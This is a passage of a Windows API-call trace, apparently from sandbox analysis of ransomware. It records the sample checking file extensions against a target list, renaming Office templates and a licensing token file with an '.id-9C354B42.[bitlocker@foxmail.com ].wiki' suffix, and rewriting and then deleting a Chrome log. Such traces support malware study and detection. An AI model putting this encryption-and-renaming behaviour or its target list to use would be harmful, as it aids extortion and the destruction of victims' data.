[0149.332] CloseHandle (hObject=0x25c) returned 1 [0149.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0149.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.332] lstrlenW (lpString=".doc") returned 4 [0149.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.332] lstrlenW (lpString=".docx") returned 5 [0149.332] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0149.332] lstrlenW (lpString=".pdf") returned 4 [0149.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.332] lstrlenW (lpString=".xls") returned 4 [0149.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString=".xlsx") returned 5 [0149.333] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0149.333] lstrlenW (lpString=".ppt") returned 4 [0149.333] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.333] lstrlenW (lpString=".zip") returned 4 [0149.333] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.333] lstrlenW (lpString=".rar") returned 4 [0149.333] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString=".bz2") returned 4 [0149.333] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString=".7z") returned 3 [0149.333] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.333] lstrlenW (lpString=".dbf") returned 4 [0149.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.333] lstrlenW (lpString=".1cd") returned 4 [0149.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.333] lstrlenW (lpString=".jpg") returned 4 [0149.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.333] lstrlenW (lpString=".doc") returned 4 [0149.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString=".docx") returned 5 [0149.333] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0149.333] lstrlenW (lpString=".pdf") returned 4 [0149.333] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString=".xls") returned 4 [0149.333] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.333] lstrlenW (lpString=".xlsx") returned 5 [0149.334] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0149.334] lstrlenW (lpString=".ppt") returned 4 [0149.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.334] lstrlenW (lpString=".zip") returned 4 [0149.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.334] lstrlenW (lpString=".rar") returned 4 [0149.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.334] lstrlenW (lpString=".bz2") returned 4 [0149.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.334] lstrlenW (lpString=".7z") returned 3 [0149.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.334] lstrlenW (lpString=".dbf") returned 4 [0149.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.334] lstrlenW (lpString=".1cd") returned 4 [0149.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0149.334] lstrlenW (lpString=".jpg") returned 4 [0149.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.334] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.334] lstrlenW (lpString="base_kor.xml") returned 12 [0149.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0149.451] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=488) returned 1 [0149.451] CloseHandle (hObject=0x21c) returned 1 [0149.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0149.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.451] lstrlenW (lpString=".doc") returned 4 [0149.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.451] lstrlenW (lpString=".docx") returned 5 [0149.451] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0149.451] lstrlenW (lpString=".pdf") returned 4 [0149.451] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.451] lstrlenW (lpString=".xls") returned 4 [0149.451] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.451] lstrlenW (lpString=".xlsx") returned 5 [0149.451] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0149.451] lstrlenW (lpString=".ppt") returned 4 [0149.451] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.451] lstrlenW (lpString=".zip") returned 4 [0149.451] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.451] lstrlenW (lpString=".rar") returned 4 [0149.452] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString=".bz2") returned 4 [0149.452] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString=".7z") returned 3 [0149.452] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.452] lstrlenW (lpString=".dbf") returned 4 [0149.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.452] lstrlenW (lpString=".1cd") returned 4 [0149.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.452] lstrlenW (lpString=".jpg") returned 4 [0149.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.452] lstrlenW (lpString=".doc") returned 4 [0149.452] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString=".docx") returned 5 [0149.452] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0149.452] lstrlenW (lpString=".pdf") returned 4 [0149.452] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString=".xls") returned 4 [0149.452] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString=".xlsx") returned 5 [0149.452] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0149.452] lstrlenW (lpString=".ppt") returned 4 [0149.452] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.452] lstrlenW (lpString=".zip") returned 4 [0149.452] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.452] lstrlenW (lpString=".rar") returned 4 [0149.453] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.453] lstrlenW (lpString=".bz2") returned 4 [0149.453] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.453] lstrlenW (lpString=".7z") returned 3 [0149.453] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.453] lstrlenW (lpString=".dbf") returned 4 [0149.453] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.453] lstrlenW (lpString=".1cd") returned 4 [0149.453] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0149.453] lstrlenW (lpString=".jpg") returned 4 [0149.453] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.453] lstrcmpiW (lpString1=".wmf", lpString2=".wiki") returned 1 [0149.453] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0149.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0149.692] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7498) returned 1 [0149.692] CloseHandle (hObject=0x2ac) returned 1 [0149.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0149.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0149.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0149.693] lstrlenW (lpString=".doc") returned 4 [0149.693] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0149.693] lstrlenW (lpString=".docx") returned 5 [0149.693] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0149.693] lstrlenW (lpString=".pdf") returned 4 [0149.693] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0149.693] lstrlenW (lpString=".xls") returned 4 [0149.693] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0149.693] lstrlenW (lpString=".xlsx") returned 5 [0149.693] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0149.693] lstrlenW (lpString=".ppt") returned 4 [0149.693] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0149.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0149.693] lstrlenW (lpString=".zip") returned 4 [0149.693] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0149.693] lstrlenW (lpString=".rar") returned 4 [0149.693] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0149.693] lstrlenW (lpString=".bz2") returned 4 [0149.693] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0149.693] lstrlenW (lpString=".7z") returned 3 [0149.693] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0149.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0149.693] lstrlenW (lpString=".dbf") returned 4 [0149.693] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0154.043] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2404) returned 1 [0154.043] CloseHandle (hObject=0x338) returned 1 [0154.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0154.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0154.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VSS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vss.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VSS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vss.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.738] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.993] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.993] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0171.459] GetLastError () returned 0x0 [0171.459] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x4ad, lpOverlapped=0x0) returned 1 [0171.531] WriteFile (in: hFile=0x198, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0171.532] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.532] WriteFile (in: hFile=0x198, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0171.532] SetEndOfFile (hFile=0x198) returned 1 [0171.532] CloseHandle (hObject=0x198) returned 1 [0171.532] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.532] SetEndOfFile (hFile=0x1b4) returned 1 [0171.533] CloseHandle (hObject=0x1b4) returned 1 [0171.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.533] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log")) returned 1 [0171.533] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.534] lstrlenW (lpString=".doc") returned 4 [0171.534] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0171.534] lstrlenW (lpString=".docx") returned 5 [0171.534] lstrcmpiW (lpString1=".docx", lpString2="3.log") returned -1 [0171.534] lstrlenW (lpString=".pdf") returned 4 [0171.534] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0171.534] lstrlenW (lpString=".xls") returned 4 [0171.534] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0171.534] lstrlenW (lpString=".xlsx") returned 5 [0171.534] lstrcmpiW (lpString1=".xlsx", lpString2="3.log") returned -1 [0171.534] lstrlenW (lpString=".ppt") returned 4 [0171.534] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0171.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.534] lstrlenW (lpString=".zip") returned 4 [0171.534] lstrcmpiW 